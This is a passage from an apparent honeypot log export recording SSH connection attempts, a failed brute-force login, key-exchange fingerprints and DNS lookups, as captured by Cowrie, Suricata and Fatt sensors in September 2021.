"AAADzAYUjbGyROQZv7lRW1aW8Ne1bwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45852, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:21:52.458921Z", "@timestamp": "2021-09-20T11:21:52.458Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........D....Q[V....o...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29018	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:21:52.763853+03	2021-09-20 14:30:03.587524+03	{"_id": "MAbwAnwBvYTbRNuE4jKa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62702, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1334, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1629553253458603, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44006, "timestamp": "2021-09-20T11:21:52.763853Z", "@timestamp": "2021-09-20T11:21:52.763Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29019	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:52.821683+03	2021-09-20 14:30:03.588524+03	{"_id": "MQbwAnwBvYTbRNuE4zLU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35108, "dest_port": 443, "timestamp": "2021-09-20T11:21:52.821683", "@timestamp": "2021-09-20T11:21:52.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29020	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:21:53.637441+03	2021-09-20 14:30:03.589525+03	{"_id": "MwbwAnwBvYTbRNuE5DLM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [suporte/1qaz2wsx] failed", "session": "399e8145648d", "@version": "1", "password": "1qaz2wsx", "username": "suporte", "timestamp": "2021-09-20T11:21:53.637441Z", "@timestamp": "2021-09-20T11:21:53.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29021	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:21:54.923696+03	2021-09-20 14:30:03.591524+03	{"_id": "NAbwAnwBvYTbRNuE6DK1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "399e8145648d", "@version": "1", "duration": 2.748476505279541, "timestamp": "2021-09-20T11:21:54.923696Z", "@timestamp": "2021-09-20T11:21:54.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29022	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:21:52.454107+03	2021-09-20 14:30:03.592524+03	{"_id": "IQbwAnwBvYTbRNuE3jKu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 674142073366299, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45852, "dest_port": 22, "timestamp": "2021-09-20T11:21:52.454107Z", "@timestamp": "2021-09-20T11:21:52.454Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29023	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:21:52.458921+03	2021-09-20 14:30:03.594523+03	{"_id": "IgbwAnwBvYTbRNuE3zLr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45852, "dest_port": 22, "timestamp": "2021-09-20T11:21:52.458921", "@timestamp": "2021-09-20T11:21:52.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29038	118.70.175.209	109.199.241.180	Cowrie	2021-09-20 14:21:39.629874+03	2021-09-20 14:30:03.614525+03	{"_id": "DwbwAnwBvYTbRNuErjIY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.175.209", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 118.70.175.209:42040 (192.168.176.2:22) [session: a794a79cde5d]", "session": "a794a79cde5d", "@version": "1", "protocol": "ssh", "src_port": 42040, "dest_port": 22, "timestamp": "2021-09-20T11:21:39.629874Z", "@timestamp": "2021-09-20T11:21:39.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29024	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:21:52.459148+03	2021-09-20 14:30:03.595524+03	{"_id": "KwbwAnwBvYTbRNuE4DLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "399e8145648d", "@version": "1", "timestamp": "2021-09-20T11:21:52.459148Z", "@timestamp": "2021-09-20T11:21:52.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29025	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:52.762539+03	2021-09-20 14:30:03.596524+03	{"_id": "LQbwAnwBvYTbRNuE4jKY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62702, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1629553253458603, "@version": "1", "in_iface": "enp5s0", "src_port": 44006, "dest_port": 53, "timestamp": "2021-09-20T11:21:52.762539Z", "@timestamp": "2021-09-20T11:21:52.762Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29026	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:21:52.864767+03	2021-09-20 14:30:03.598524+03	{"_id": "MgbwAnwBvYTbRNuE4zLU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35108, "timestamp": "2021-09-20T11:21:52.864767", "@timestamp": "2021-09-20T11:21:52.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29027	118.70.175.209	109.199.241.180	Suricata	2021-09-20 14:21:39.848009+03	2021-09-20 14:30:03.599524+03	{"_id": "EwbwAnwBvYTbRNuErzLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:21:39.412554+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.175.209", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1205571260992394, "payload": "AAADzAYUBaWc9qdKSRlofGOe2958QQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42040, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:21:39.848009Z", "@timestamp": "2021-09-20T11:21:39.848Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........JI.h|c...|A...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29028	118.70.175.209	109.199.241.180	Fatt	2021-09-20 14:21:39.848009+03	2021-09-20 14:30:03.601525+03	{"_id": "FAbwAnwBvYTbRNuEsTIH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "118.70.175.209", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42040, "dest_port": 22, "timestamp": "2021-09-20T11:21:39.848009", "@timestamp": "2021-09-20T11:21:39.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
